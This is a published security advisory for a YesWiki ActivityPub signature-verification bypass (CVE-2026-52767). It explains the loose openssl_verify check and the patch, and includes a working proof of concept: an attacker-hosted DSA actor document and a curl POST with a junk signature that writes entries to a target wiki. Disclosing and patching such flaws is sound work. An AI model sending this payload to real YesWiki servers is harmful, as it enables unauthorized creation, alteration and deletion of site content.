high · 8.2CVE-2026-52767Jul 9, 2026

CVE-2026-52767: YesWiki ActivityPub Signature-Verification Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A logic flaw in YesWiki's ActivityPub inbox lets any unauthenticated attacker create, update, or delete wiki entries by sending a crafted HTTP request with a junk signature that PHP's openssl_verify…

Packageyeswiki/yeswiki
Ecosystemcomposer
Affected>= 4.6.2, < 4.6.6
Fixed in4.6.6

The problem

YesWiki's HttpSignatureService::verifySignature() guards the ActivityPub inbox with if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify returns 1 (valid), 0 (invalid), -1 (internal error), or false (bad input). The loose boolean negation treats -1 as truthy, so !(-1) === false, the exception is never thrown, and the controller proceeds to processActivity().

The practical trigger on PHP 8.3 + OpenSSL 3.x is supplying a DSA public key in the actor document while listing algorithm=RSA-SHA256 in the Signature header. OpenSSL's EVP_VerifyFinal returns -1 because the algorithm and key type are incompatible. Any ActivityPub-enabled Bazar form is reachable with a single unauthenticated POST, allowing Create, Update, and Delete of arbitrary entries.

Proof of concept

A working proof-of-concept for CVE-2026-52767 in yeswiki/yeswiki, with the exact payload below.

bash
# 1. Host an actor document at a URL you control that returns a DSA public key:
# GET http://attacker.example/actors/attacker
# {
#   "id": "http://attacker.example/actors/attacker",
#   "publicKey": {
#     "id": "http://attacker.example/actors/attacker",
#     "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIB...DSA KEY...\n-----END PUBLIC KEY-----\n"
#   }
# }

# 2. Confirm the bypass trigger (run inside the YesWiki container):
php -r '
    $pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
    $key = openssl_get_publickey($pem);
    $r   = openssl_verify("hello", "junk", $key, "RSA-SHA256");
    echo "openssl_verify returned: " . var_export($r, true) . "\n";
    echo "!openssl_verify(...)  is: " . var_export(!$r, true) . "\n";
'
# Expected: openssl_verify returned: -1
#           !openssl_verify(...)  is: false  <-- bypass confirmed

# 3. Send the malicious Create activity (no valid signature needed):
ACTIVITY='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Create",
  "id":   "http://attacker.example/activity/poc-001",
  "actor":"http://attacker.example/actors/attacker",
  "object": {
    "id":   "http://attacker.example/objects/poc-001",
    "type": "Event",
    "name": "Injected entry via signature bypass",
    "content": "openssl_verify returned -1; YesWiki accepted us anyway",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'

DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
KEYID="http://attacker.example/actors/attacker"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'

curl -s -X POST "http://target.example/?api/forms/2/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$ACTIVITY" \
     -w '\n  HTTP %{http_code}\n'
# Expected: HTTP 200 with entry written to yeswiki_pages

The root cause is CWE-347 (Improper Verification of Cryptographic Signature) caused by PHP's loose type system. openssl_verify returns integer -1 on an internal OpenSSL error, and -1 is truthy in PHP, so !(-1) evaluates to false, skipping the throw entirely.

The bypass is triggered by supplying a DSA or EC public key in the actor document while advertising algorithm=RSA-SHA256 in the Signature header. OpenSSL's EVP_VerifyFinal returns -1 because the key type and algorithm are incompatible, not because the signature was checked and failed.

The Digest header is still enforced, but it is trivially satisfied by computing SHA-256 of the attacker-chosen body. The patch at commit d1795e0301e1a1078f17b4b98f56fff70de2029e replaces the loose check with a strict identity comparison: openssl_verify(...) !== 1, which correctly treats -1 as a failure and throws.

This is the canonical fix recommended by the PHP documentation for this function.

The fix

Upgrade to YesWiki 4.6.6. The patch changes if (!openssl_verify(...)) to if (openssl_verify(...) !== 1) in tools/bazar/services/HttpSignatureService.php, ensuring that an internal OpenSSL error (-1) is treated as a verification failure rather than success.

If you cannot upgrade immediately, disable ActivityPub federation on all Bazar forms.

Reporter not attributed.

References: [1][2][3]

Related research